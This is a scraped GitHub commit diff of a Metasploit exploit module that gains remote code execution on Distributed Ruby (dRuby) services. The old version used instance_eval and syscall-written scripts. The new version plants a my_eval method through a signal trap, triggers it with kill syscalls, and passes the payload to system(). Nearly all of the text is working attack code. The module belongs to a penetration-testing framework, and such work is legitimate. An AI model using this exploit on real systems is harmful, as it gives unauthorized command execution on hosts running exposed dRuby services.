1
- ##
1
+ ####
2
2
# This module requires Metasploit: http://metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
@@ -14,19 +14,17 @@ class MetasploitModule < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution' ,
17
+ 'Name' => 'Distributed Ruby Remote Code Execution' ,
18
18
'Description' => %q{
19
19
This module exploits remote code execution vulnerabilities in dRuby.
20
-
21
- If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
22
- In this event, the syscall target is preferred. This can be set with target 1.
23
20
} ,
24
21
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ] , #(Phenoelit)
25
22
'License' => MSF_LICENSE ,
26
23
'References' =>
27
24
[
28
25
[ 'URL' , 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ] ,
29
- [ 'URL' , 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
26
+ [ 'URL' , 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ] ,
27
+ [ 'URL' , 'http://bugkraut.de/posts/tainting' ]
30
28
] ,
31
29
'Privileged' => false ,
32
30
'Payload' =>
@@ -37,8 +35,7 @@ def initialize(info = {})
37
35
'Platform' => 'unix' ,
38
36
'Arch' => ARCH_CMD ,
39
37
'Targets' => [
40
- [ 'instance_eval' , { } ] ,
41
- [ 'syscall' , { } ]
38
+ [ 'generic' , { } ] ,
42
39
] ,
43
40
'DisclosureDate' => 'Mar 23 2011' ,
44
41
'DefaultTarget' => 0 ) )
@@ -58,72 +55,21 @@ class << p
58
55
undef :send
59
56
end
60
57
61
- case target . name
62
- when 'instance_eval'
63
- print_status ( 'Trying to exploit instance_eval' )
64
- exploit_instance_eval ( p )
65
- when 'syscall'
66
- print_status ( 'Trying to exploit syscall' )
67
- exploit_syscall ( p )
68
- end
69
- end
70
-
71
- def exploit_instance_eval ( p )
58
+ p . send ( :trap , 23 , :"class Object\n def my_eval(str)\n system(str.untaint)\n end\n end" )
59
+ # syscall to decide whether it's 64 or 32 bit:
60
+ # it's getpid on 32bit which will succeed, and writev on 64bit
61
+ # which will fail due to missing args
62
+ pid = nil
72
63
begin
73
- p . send ( :instance_eval , "Kernel.fork { `#{ payload . encoded } ` }" )
74
- rescue SecurityError
75
- print_error ( 'instance_eval failed due to security error' )
76
- rescue DRb ::DRbConnError
77
- print_error ( 'instance_eval failed due to connection error' )
64
+ pid = p . send ( :syscall , 20 )
65
+ p . send ( :syscall , 37 , pid , 23 )
66
+ rescue Errno ::EBADF
67
+ # 64 bit system
68
+ pid = p . send ( :syscall , 39 )
69
+ print_status "#{ pid } "
70
+ p . send ( :syscall , 62 , pid , 23 )
78
71
end
79
- end
80
-
81
- def exploit_syscall ( p )
82
- filename = "." + Rex ::Text . rand_text_alphanumeric ( 16 )
83
-
84
- begin
85
- begin
86
- print_status ( 'Attempting 32-bit exploitation' )
87
- # syscall to decide wether it's 64 or 32 bit:
88
- # it's getpid on 32bit which will succeed, and writev on 64bit
89
- # which will fail due to missing args
90
- p . send ( :syscall , 20 )
91
- # syscall open
92
- i = p . send ( :syscall , 8 , filename , 0700 )
93
- # syscall write
94
- p . send ( :syscall , 4 , i , "#!/bin/sh\n " << payload . encoded , payload . encoded . length + 10 )
95
- # syscall close
96
- p . send ( :syscall , 6 , i )
97
- # syscall fork
98
- p . send ( :syscall , 2 )
99
- # syscall execve
100
- p . send ( :syscall , 11 , filename , 0 , 0 )
101
-
102
- # likely 64bit system
103
- rescue Errno ::EBADF
104
- print_status ( 'Target is a 64-bit system' )
105
- # syscall creat
106
- i = p . send ( :syscall , 85 , filename , 0700 )
107
- # syscall write
108
- p . send ( :syscall , 1 , i , "#!/bin/sh\n " << payload . encoded , payload . encoded . length + 10 )
109
- # syscall close
110
- p . send ( :syscall , 3 , i )
111
- # syscall fork
112
- p . send ( :syscall , 57 )
113
- # syscall execve
114
- p . send ( :syscall , 59 , filename , 0 , 0 )
115
- end
116
-
117
- # not vulnerable
118
- rescue SecurityError
119
- print_error ( 'syscall failed due to security error' )
120
- return
121
- rescue DRb ::DRbConnError
122
- print_error ( 'syscall failed due to connection error' )
123
- return
124
- end
125
-
126
- register_files_for_cleanup ( filename )
72
+ p . send ( :my_eval , payload . encoded )
127
73
end
128
74
129
75
end
0 commit comments